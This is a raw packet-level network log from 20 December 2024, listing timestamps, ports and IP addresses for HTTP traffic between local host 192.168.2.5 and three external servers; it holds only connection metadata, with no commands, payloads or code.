Dec 20, 2024 02:11:41.975353956 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.975995064 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.976007938 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.976052999 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.977189064 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.977247953 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.977741957 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.978336096 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.978394985 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.978734970 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.979509115 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.979521036 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.979561090 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.979593039 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.980685949 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.980699062 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.980750084 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.981854916 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.981868029 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.981921911 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.983006954 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.983074903 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.983580112 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.983630896 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.984247923 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.984421968 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.984469891 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.985336065 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.985398054 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.985938072 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.986501932 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.986552954 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.986984968 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.987724066 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.987775087 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.987802029 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.987864017 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.987920046 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.988862038 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.989996910 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.990036011 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.990042925 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.990047932 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.990091085 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.991162062 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.991218090 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.991370916 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.992039919 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.992346048 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.992403984 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.992549896 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.992894888 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.993505955 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.993563890 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.993906021 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.993952990 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.994663954 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.994705915 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.994812965 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.994858980 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.995826960 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.995965004 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.996011019 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.996071100 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.997004986 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.997546911 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.997596025 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.998181105 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.998353004 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.998604059 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.998660088 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.999408960 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.999980927 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.000041008 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.000561953 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.000612974 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.000715971 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.001019001 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.001661062 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.001724958 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.001774073 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.001820087 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.002721071 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.002788067 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.002931118 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.002948999 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.002986908 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.003021955 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.003021955 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.004024982 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.004322052 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.004396915 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.004765034 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.004923105 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.004975080 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.005199909 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.005215883 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.005270958 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.006350994 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.006417036 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.006531954 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.007560968 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.007668972 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.007736921 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.008037090 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.008805037 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.008827925 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.008853912 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.008882046 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.009028912 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.009891033 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.009946108 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.010021925 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.010066032 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.010066032 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.012804985 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.012938023 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.013071060 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.016971111 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.017410040 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.017489910 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.020761013 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.020911932 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.021017075 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.024477005 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.024971008 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.025037050 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.028258085 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.028748035 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.032022953 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.032074928 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.032427073 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.035619020 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.035720110 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.035967112 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.039335012 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.039401054 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.039561033 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.039611101 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.042727947 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.043766022 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.043823957 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.046483040 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.046797991 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.046852112 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.049850941 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.052165985 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.053397894 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.053447008 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.054224968 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.056026936 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.057044983 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.057380915 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.057425976 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.057936907 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.060605049 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.060971022 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.061016083 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.064199924 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.064279079 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.064328909 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.067749023 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.068042040 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.068337917 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.071275949 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.071461916 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.071507931 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.074810028 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.075021029 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.075066090 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.078479052 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.078633070 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.078685045 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.081981897 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.082120895 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.082182884 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.085783005 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.085836887 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.085910082 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.089221001 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.089458942 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.089531898 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.110203028 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.110260963 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.110299110 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.110321999 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.110495090 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.110528946 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.110564947 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.110585928 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.110620975 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.110671043 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.110893965 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.110940933 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.111016035 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.111052036 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.111103058 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.118174076 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.118210077 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.118292093 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.118366957 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.142405033 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.142795086 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.142899036 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.143009901 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.143049002 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.143109083 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.144213915 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.144433022 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.144503117 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.146397114 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.146485090 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.146539927 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.146595001 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.146653891 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.146773100 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.148013115 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.148083925 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.148170948 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.148299932 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.149002075 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.150036097 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.150070906 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.150120020 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.150120020 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.150182962 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.150214911 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.150383949 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.150391102 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.151179075 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.151403904 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.151468039 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.152297020 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.152795076 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.152854919 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.153526068 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.153561115 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.153585911 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.153615952 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.154915094 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.154949903 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.155008078 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.159924030 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.160017014 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.160051107 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.160079956 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.160113096 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.160190105 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.160224915 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.160259962 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.160283089 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.160304070 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.161304951 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.161340952 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.161392927 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.162806034 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.162842989 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.162903070 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.162996054 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.163053036 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.163162947 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.163925886 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.163939953 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.164093971 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.164150953 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.165255070 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.165312052 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.165348053 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.165369034 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.165402889 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.166543007 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.167123079 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.167187929 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.167678118 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.167715073 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.167768955 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.169994116 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.170028925 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.170066118 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.170095921 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.170130014 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.170722961 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.171109915 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.171169043 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.171513081 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.172275066 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.172276020 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.172566891 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.172625065 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.173444986 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.174624920 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.174660921 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.174684048 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.174710035 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.174928904 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.175791979 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.176223993 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.176677942 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.177110910 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.177234888 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.177325964 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.178148031 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.179337025 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.179373026 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.179404020 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.179409027 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.179425955 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.179461002 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.181013107 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.181632042 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.181667089 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.181693077 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.181727886 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.181838036 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.181890011 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.182816029 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.182851076 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.182864904 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.182904959 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.183944941 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.184000015 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.184053898 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.185640097 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.185694933 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.185838938 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.187392950 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.187469959 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.187473059 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.187510014 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.187522888 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.187745094 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.187794924 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.189826965 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.189862967 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.189898014 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.189927101 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.189960957 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.190289974 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.191067934 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.191133976 CET	49917	80	192.168.2.5	31.41.244.11
